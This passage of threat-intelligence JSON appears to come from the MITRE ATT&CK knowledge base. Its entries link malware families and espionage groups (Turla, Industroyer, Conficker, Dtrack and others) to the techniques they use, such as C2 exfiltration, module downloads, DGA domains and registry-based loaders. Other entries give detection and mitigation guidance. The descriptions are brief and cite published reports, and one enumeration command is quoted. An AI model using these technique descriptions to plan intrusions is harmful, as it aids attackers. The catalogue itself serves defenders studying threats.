2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--982d9af7-45bb-4cc0-9819-aaadb3304783","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Villeneuve 2011","description":"Villeneuve, N., Sancho, D. (2011). THE “LURID” DOWNLOADER. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf"}],"modified":"2020-03-30T02:28:58.614Z","description":"[Lurid](https://attack.mitre.org/software/S0010) can compress data before sending it.(Citation: Villeneuve 2011)","relationship_type":"uses","source_ref":"malware--251fbae2-78f6-4de7-84f6-194c727a64ad","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--983073e5-9115-46c2-ba78-17e1c111916d","created":"2024-01-04T20:38:29.997Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-04T20:38:29.997Z","description":"The [Samurai](https://attack.mitre.org/software/S1099) loader component can create multiple Registry keys to force the svchost.exe process to load the final backdoor.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98339175-97d1-4a17-985f-914efffa2a4e","type":"relationship","created":"2021-02-23T20:50:33.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."},{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.449Z","description":"[Conficker](https://attack.mitre.org/software/S0608) has used a DGA that seeds with the current UTC victim system date to generate domains.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9837fc51-4144-43f0-a5ae-6c86ae5150ba","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage code repositories to collect valuable information. Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9839e4e4-06c2-4f6a-8fe0-bc556e547536","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.828Z","description":"(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--983bd6cd-907a-430d-a6ec-0ca024ca87ae","type":"relationship","created":"2020-05-26T17:14:42.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.958Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used malicious .exe or .dll files disguised as documents or images.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--983e91df-bb1a-4658-aaad-7549b1a81917","type":"relationship","created":"2021-10-13T13:00:59.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-13T13:00:59.069Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) has checked if Vmware or VirtualBox VM is running on a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--98402b9f-d9c6-4200-8f05-80c4b46da2bf","created":"2022-05-05T18:40:59.560Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can exfiltrate collected data via C2.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T18:42:34.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--984047c3-43fc-41ad-8d8c-ea585452bc30","type":"relationship","created":"2021-05-06T15:18:49.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-06T15:18:49.430Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has the ability to collect the domain name on a compromised host.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--984a0d7f-407f-4e3b-afd5-1dc107a980d5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.488Z","description":"(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--984a898c-f469-4e7c-94c6-bf512ec69938","type":"relationship","created":"2021-12-08T18:16:03.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:16:03.048Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can download additional modules from C2.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--985066fb-7fbb-4147-a69d-b33d45cd3e7f","created":"2022-03-15T20:08:18.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.415Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has compressed collected data before exfiltration.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9850f990-17ed-40f5-8065-a455f1198404","type":"relationship","created":"2019-06-20T20:53:17.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2020-03-19T21:56:56.828Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have used cmd.exe to execute commands.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9852cd17-d47d-44fc-ab5b-a8c73bc7c307","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","external_references":[{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for user accounts logged into systems that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). For example, on macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) ","modified":"2022-04-20T03:05:45.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98557068-7d60-40d4-8294-01469aadf6fe","type":"relationship","created":"2021-03-08T13:45:43.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.932Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can download additional modules from its C2 server.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--985bb7ab-6853-4906-98a0-1945e4504ee8","created":"2021-12-27T16:53:13.981Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used a file stealer to steal documents and images with the following extensions: txt, pdf, png, jpg, doc, xls, xlm, odp, ods, odt, rtf, ppt, xlsx, xlsm, docx, pptx, and jpeg.(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-04-18T12:24:52.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--985f770f-6068-4c5c-9405-0515e43aeed5","created":"2021-03-04T22:45:03.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.576Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9866c9ca-d769-458c-9797-112beb97498d","type":"relationship","created":"2021-01-25T13:58:25.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:52.988Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can list files on available disk volumes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--986db6f9-d2ad-4ab9-98b6-5633e101e804","created":"2022-06-14T15:13:07.388Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can upload logs and other data from a compromised host.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T16:40:16.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--986f3f81-7872-4c99-a704-4e53f2936e26","created":"2023-04-10T16:46:28.432Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:46:28.432Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used a malicious DLL to collect the username from compromised hosts.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9871211f-1e9a-45f0-8cc6-bc01349a4a62","created":"2023-09-30T03:29:09.453Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T03:29:09.453Z","description":"Monitor changes made to the `/etc/audit/audit.rules` file containing the sequence of `auditctl` commands loaded at boot time. ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9873626b-74e8-456d-9e34-95a313daa27b","created":"2022-09-30T20:15:22.218Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:15:22.218Z","description":"Some [S-Type](https://attack.mitre.org/software/S0085) samples have been packed with UPX.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98737ffe-6b7b-4c2d-a775-7a93e304a9c7","type":"relationship","created":"2020-09-30T14:13:38.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-10-06T16:10:42.699Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can enumerate domain groups by executing net.exe group /domain.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9877098c-6643-49fb-8b7c-72ea44718cae","type":"relationship","created":"2021-05-04T15:59:21.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-04T15:59:21.092Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) has been packed with multiple layers of encryption.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--987786d7-5f2f-4fdd-b5cb-fddadc9982c8","created":"2021-01-04T20:42:22.287Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) sends information about hardware profiles and previously-received commands back to the C2 server in a POST-request.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9878ff64-0206-4a62-a5aa-3f909da87081","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.850Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9879dc61-0fad-4e79-b225-9f529ee67d46","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:23:59.763Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, 